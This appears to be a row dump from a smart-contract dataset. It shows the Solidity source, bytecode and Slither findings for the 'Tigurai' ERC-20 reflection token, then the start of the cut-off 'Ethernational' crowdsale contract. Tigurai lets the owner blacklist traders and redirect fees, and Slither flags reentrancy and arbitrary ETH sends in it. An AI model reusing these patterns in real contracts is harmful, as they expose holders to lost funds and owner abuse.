address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0xeaCc2a63595Df85612bdaf3d2Ba4db59d0347EE9
|
// https://t.me/tigurai
// https://www.tigurai.io/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Tigurai is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant _tTotal = 100000 * 10**9;
uint256 private _rTotal = (type(uint256).max - (type(uint256).max % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _ethSent = 0;
address payable public _feeAddrWallet;
string private constant _name = "Tigurai";
string private constant _symbol = "TIGURAI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferType(uint256 ethSent, uint256 transferType, uint256 amount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable feeAddrWallet) {
_feeAddrWallet = feeAddrWallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function originalPurchase(address account) public view returns (uint256) {
return _buyMap[account];
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function setMaxTx(uint256 maxTransactionAmount) external onlyOwner() {
_maxTxAmount = maxTransactionAmount;
}
function updateFeeWallet(address payable newFeeWallet) external onlyOwner {
_feeAddrWallet = newFeeWallet;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 transferType = 0;
if (!_isBuy(from)) {
if (_buyMap[from] != 0 &&
(_buyMap[from] + (24 hours) >= block.timestamp)) {
_feeAddr1 = 1;
_feeAddr2 = 24; //M 15 G 5
transferType = 1;
} else {
_feeAddr1 = 0;
_feeAddr2 = 12; //M 8 G 2
transferType = 2;
}
} else {
if (_buyMap[to] == 0) {
_buyMap[to] = block.timestamp;
}
_feeAddr1 = 1;
_feeAddr2 = 11; // M 0 G 2
transferType = 3;
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
_feeAddr1 = 0;
_feeAddr2 = 0;
transferType = 0;
}
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
uint256 _feeAddr1Before = _feeAddr1;
uint256 _feeAddr2Before = _feeAddr2;
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
_ethSent = contractETHBalance;
}
_feeAddr1 = _feeAddr1Before;
_feeAddr2 = _feeAddr2Before;
}
}
_tokenTransfer(from, to, amount);
emit TransferType(_ethSent, transferType, amount);
_ethSent=0;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000 * 10 ** 9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 100000 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function updateMaxTx (uint256 fee) public onlyOwner {
_maxTxAmount = fee;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063c2d0ffca1161008a578063cc653b4411610064578063cc653b441461045e578063dd62ed3e14610494578063f2fde38b146104da578063ff872602146104fa57600080fd5b8063c2d0ffca14610414578063c3c8cd8014610434578063c9567bf91461044957600080fd5b8063715018a6146103715780638da5cb5b1461038657806395d89b41146103a4578063a9059cbb146103d4578063b515566a146103f4578063bc3371821461041457600080fd5b8063313ce5671161013e5780635932ead1116101185780635932ead1146102fc578063667185241461031c5780636fc3eaec1461033c57806370a082311461035157600080fd5b8063313ce567146102a057806341e978fa146102bc57806349bd5a5e146102dc57600080fd5b806306fdde0314610191578063095ea7b3146101d35780631694505e1461020357806318160ddd1461023b57806323b872dd1461025e578063273123b71461027e57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506040805180820190915260078152665469677572616960c81b60208201525b6040516101ca9190611bb0565b60405180910390f35b3480156101df57600080fd5b506101f36101ee366004611a41565b61050f565b60405190151581526020016101ca565b34801561020f57600080fd5b50600f54610223906001600160a01b031681565b6040516001600160a01b0390911681526020016101ca565b34801561024757600080fd5b50655af3107a40005b6040519081526020016101ca565b34801561026a57600080fd5b506101f3610279366004611a01565b610526565b34801561028a57600080fd5b5061029e610299366004611991565b61058f565b005b3480156102ac57600080fd5b50604051600981526020016101ca565b3480156102c857600080fd5b50600e54610223906001600160a01b031681565b3480156102e857600080fd5b50601054610223906001600160a01b031681565b34801561030857600080fd5b5061029e610317366004611b33565b6105e3565b34801561032857600080fd5b5061029e610337366004611991565b61062b565b34801561034857600080fd5b5061029e610677565b34801561035d57600080fd5b5061025061036c366004611991565b6106a4565b34801561037d57600080fd5b5061029e6106c6565b34801561039257600080fd5b506000546001600160a01b0316610223565b3480156103b057600080fd5b506040805180820190915260078152665449475552414960c81b60208201526101bd565b3480156103e057600080fd5b506101f36103ef366004611a41565b6106fc565b34801561040057600080fd5b5061029e61040f366004611a6c565b610709565b34801561042057600080fd5b5061029e61042f366004611b6b565b6107ad565b34801561044057600080fd5b5061029e6107dc565b34801561045557600080fd5b5061029e610812565b34801561046a57600080fd5b50610250610479366004611991565b6001600160a01b031660009081526004602052604090205490565b3480156104a057600080fd5b506102506104af3660046119c9565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104e657600080fd5b5061029e6104f5366004611991565b610bcf565b34801561050657600080fd5b5061029e610c67565b600061051c338484610c9d565b5060015b92915050565b6000610533848484610dc1565b610585843361058085604051806060016040528060288152602001611d81602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061122e565b610c9d565b5060019392505050565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016105b990611c03565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b0316331461060d5760405162461bcd60e51b81526004016105b990611c03565b60108054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106555760405162461bcd60e51b81526004016105b990611c03565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b600e546001600160a01b0316336001600160a01b03161461069757600080fd5b476106a181611268565b50565b6001600160a01b038116600090815260026020526040812054610520906112a2565b6000546001600160a01b031633146106f05760405162461bcd60e51b81526004016105b990611c03565b6106fa6000611326565b565b600061051c338484610dc1565b6000546001600160a01b031633146107335760405162461bcd60e51b81526004016105b990611c03565b60005b81518110156107a95760016007600084848151811061076557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a181611d16565b915050610736565b5050565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016105b990611c03565b601155565b600e546001600160a01b0316336001600160a01b0316146107fc57600080fd5b6000610807306106a4565b90506106a181611376565b6000546001600160a01b0316331461083c5760405162461bcd60e51b81526004016105b990611c03565b601054600160a01b900460ff16156108965760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105b9565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108d03082655af3107a4000610c9d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561090957600080fd5b505afa15801561091d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094191906119ad565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561098957600080fd5b505afa15801561099d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c191906119ad565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a0957600080fd5b505af1158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4191906119ad565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d7194730610a71816106a4565b600080610a866000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ae957600080fd5b505af1158015610afd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b229190611b83565b50506010805464e8d4a5100060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107a99190611b4f565b6000546001600160a01b03163314610bf95760405162461bcd60e51b81526004016105b990611c03565b6001600160a01b038116610c5e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b9565b6106a181611326565b6000546001600160a01b03163314610c915760405162461bcd60e51b81526004016105b990611c03565b655af3107a4000601155565b6001600160a01b038316610cff5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b9565b6001600160a01b038216610d605760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b9565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e255760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b9565b6001600160a01b038216610e875760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b9565b60008111610ee95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b9565b6000610f03846010546001600160a01b0391821691161490565b610f7c576001600160a01b03841660009081526004602052604090205415801590610f5457506001600160a01b0384166000908152600460205260409020544290610f519062015180611ca8565b10155b15610f6b57506001600b8190556018600c55610fc3565b506000600b55600c80556002610fc3565b6001600160a01b038316600090815260046020526040902054610fb5576001600160a01b03831660009081526004602052604090204290555b506001600b908155600c5560035b6001600160a01b03841660009081526006602052604090205460ff168061100257506001600160a01b03831660009081526006602052604090205460ff165b1561101557506000600b819055600c8190555b6000546001600160a01b0385811691161480159061104157506000546001600160a01b03848116911614155b156111d5576001600160a01b03841660009081526007602052604090205460ff1615801561108857506001600160a01b03831660009081526007602052604090205460ff16155b61109157600080fd5b6010546001600160a01b0385811691161480156110bc5750600f546001600160a01b03848116911614155b80156110e157506001600160a01b03831660009081526006602052604090205460ff16155b80156110f65750601054600160b81b900460ff165b156111535760115482111561110a57600080fd5b6001600160a01b038316600090815260086020526040902054421161112e57600080fd5b61113942601e611ca8565b6001600160a01b0384166000908152600860205260409020555b600061115e306106a4565b601054909150600160a81b900460ff1615801561118957506010546001600160a01b03868116911614155b801561119e5750601054600160b01b900460ff165b156111d357600b54600c546111b283611376565b4780156111c8576111c247611268565b600d8190555b50600b91909155600c555b505b6111e084848461151b565b600d54604080519182526020820183905281018390527f52cc9b3b9b2fbca105996d3a85d38c08aa29f0228c897d6e2ab118a3c0ea8bfd9060600160405180910390a150506000600d555050565b600081848411156112525760405162461bcd60e51b81526004016105b99190611bb0565b50600061125f8486611cff565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107a9573d6000803e3d6000fd5b60006009548211156113095760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105b9565b600061131361152b565b905061131f838261154e565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113cc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561142057600080fd5b505afa158015611434573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145891906119ad565b8160018151811061147957634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461149f9130911684610c9d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114d8908590600090869030904290600401611c38565b600060405180830381600087803b1580156114f257600080fd5b505af1158015611506573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b611526838383611590565b505050565b6000806000611538611687565b9092509050611547828261154e565b9250505090565b600061131f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116c3565b6000806000806000806115a2876116f1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115d4908761174e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116039086611790565b6001600160a01b038916600090815260026020526040902055611625816117ef565b61162f8483611839565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161167491815260200190565b60405180910390a3505050505050505050565b6009546000908190655af3107a40006116a0828261154e565b8210156116ba57505060095492655af3107a400092509050565b90939092509050565b600081836116e45760405162461bcd60e51b81526004016105b99190611bb0565b50600061125f8486611cc0565b600080600080600080600080600061170e8a600b54600c5461185d565b925092509250600061171e61152b565b905060008060006117318e8787876118b2565b919e509c509a509598509396509194505050505091939550919395565b600061131f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122e565b60008061179d8385611ca8565b90508381101561131f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b9565b60006117f961152b565b905060006118078383611902565b306000908152600260205260409020549091506118249082611790565b30600090815260026020526040902055505050565b600954611846908361174e565b600955600a546118569082611790565b600a555050565b600080808061187760646118718989611902565b9061154e565b9050600061188a60646118718a89611902565b905060006118a28261189c8b8661174e565b9061174e565b9992985090965090945050505050565b60008080806118c18886611902565b905060006118cf8887611902565b905060006118dd8888611902565b905060006118ef8261189c868661174e565b939b939a50919850919650505050505050565b60008261191157506000610520565b600061191d8385611ce0565b90508261192a8583611cc0565b1461131f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b9565b803561198c81611d5d565b919050565b6000602082840312156119a2578081fd5b813561131f81611d5d565b6000602082840312156119be578081fd5b815161131f81611d5d565b600080604083850312156119db578081fd5b82356119e681611d5d565b915060208301356119f681611d5d565b809150509250929050565b600080600060608486031215611a15578081fd5b8335611a2081611d5d565b92506020840135611a3081611d5d565b929592945050506040919091013590565b60008060408385031215611a53578182fd5b8235611a5e81611d5d565b946020939093013593505050565b60006020808385031215611a7e578182fd5b823567ffffffffffffffff80821115611a95578384fd5b818501915085601f830112611aa8578384fd5b813581811115611aba57611aba611d47565b8060051b604051601f19603f83011681018181108582111715611adf57611adf611d47565b604052828152858101935084860182860187018a1015611afd578788fd5b8795505b83861015611b2657611b1281611981565b855260019590950194938601938601611b01565b5098975050505050505050565b600060208284031215611b44578081fd5b813561131f81611d72565b600060208284031215611b60578081fd5b815161131f81611d72565b600060208284031215611b7c578081fd5b5035919050565b600080600060608486031215611b97578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bdc57858101830151858201604001528201611bc0565b81811115611bed5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c875784516001600160a01b031683529383019391830191600101611c62565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cbb57611cbb611d31565b500190565b600082611cdb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611cfa57611cfa611d31565b500290565b600082821015611d1157611d11611d31565b500390565b6000600019821415611d2a57611d2a611d31565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146106a157600080fd5b80151581146106a157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209176b5c6ba8c06b34dcce5d2b7502e699f4fac0d887c51ccb46c43e5ff3b957d64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,700 |
0x0e9186d1d0c7aa2212e3f42405eda1bc35d826a9
|
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'Ethernational' CROWDSALE token contract
//
// Deployed to : 0xD0FDf2ECd4CadE671a7EE1063393eC0eB90816FD
// Symbol : EIT
// Name : Ethernational
// Decimals : 18
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
address public dividendsAccount;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
dividendsContract divC;
function dividendsAcc(address _dividendsAccount) onlyOwner{
divC = dividendsContract(_dividendsAccount);
dividendsAccount = _dividendsAccount;
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Ethernational is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonus1Ends;
uint public bonus2Ends;
uint public bonus3Ends;
uint public endDate;
uint public ETHinvested;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Ethernational() public {
symbol = "EIT";
name = "Ethernational";
decimals = 18;
bonus1Ends = now + 1 weeks;
bonus2Ends = now + 2 weeks;
bonus3Ends = now + 4 weeks;
endDate = now + 8 weeks;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function invested() constant returns (uint){
return ETHinvested;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
uint perc = ((balances[msg.sender] * 1000)/tokens);
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
divC.updatePaid(msg.sender,to,perc);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
